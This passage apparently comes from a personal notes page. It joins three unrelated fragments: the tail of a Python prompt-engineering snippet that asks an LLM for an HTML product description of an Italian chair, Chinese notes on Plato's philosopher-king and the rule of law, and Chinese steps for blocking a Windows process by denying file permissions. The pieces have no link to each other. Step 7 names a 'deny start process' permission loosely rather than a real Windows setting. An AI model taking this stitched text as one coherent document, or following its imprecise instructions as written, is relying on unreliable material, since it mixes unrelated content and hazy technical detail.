 medium (1.8 lb/ft3) or high (2.8 lb/ft3)
- Armless or 8 position PU armrests 

MATERIALS
SHELL BASE GLIDER
- Cast Aluminum with modified nylon PA6/PA66 coating.
- Shell thickness: 10 mm.
SEAT
- HD36 foam

COUNTRY OF ORIGIN
- Italy
"""

prompt = f"""
Your task is to help a marketing team create a 
description for a retail website of a product based 
on a technical fact sheet.

Write a product description based on the information 
provided in the technical specifications delimited by 
triple backticks.

The description is intended for furniture retailers, 
so should be technical in nature and focus on the 
materials the product is constructed from.

At the end of the description, include every 7-character 
Product ID in the technical specification.

After the description, include a table that gives the 
product's dimensions. The table should have two columns.
In the first column include the name of the dimension. 
In the second column include the measurements in inches only.

Give the table the title 'Product Dimensions'.

Format everything as HTML that can be used in a website. 
Place the description in a <div> element.

Use at most 50 words.

Technical specifications: ```{fact_sheet_chair}```
"""

response = get_completion(prompt)
print(response)

  • 柏拉图眼中, 最理想的政体就是精英式的贵族政体, 也被称为王政. 柏拉图认为, 只有让王成为哲学家, “哲学王”被授予绝对的权力, 才能建立王道乐土的美丽新世界, 国家会充满智慧和勇气. 而柏拉图最瞧不上的就是军事独裁的僭主政体.
  • 柏拉图三次去往叙拉古, 他在<法律篇>中终于意识到: 只有法治才是现实的. 哲学王的统治不具有现实可能性, 如果追求最优选项, 反而会导致最坏的结果, 法治虽然不是最好的选择, 也是一个避免最坏结果的”次优”选项
  • 阿克顿勋爵说:”权力导致腐败, 绝对权力导致绝对腐败”
  • 如果法律只是一种工具, 权力的滥用也就不可避免, 人治可以打着法律的名义大行其道, 人也就不可能拥有真正的自由
  • to be continued…

需要管理员权限才能执行以下操作:

  1. 打开任务管理器(快捷键Ctrl+Shift+Esc)。
  2. 在“进程”选项卡中找到要禁止启动的进程。
  3. 右键点击该进程,选择“打开文件位置”。
  4. 关闭任务管理器,找到刚才打开的文件位置。
  5. 右键点击该程序或文件,选择“属性”。
  6. 在“安全”选项卡中,选择当前用户。
  7. 在“权限”中,选中“拒绝”启动该进程。
  8. 确认保存更改。

这样就可以长期禁止某个进程启动了。注意,如果想要启动该进程,需要解除该进程的启动禁止权限。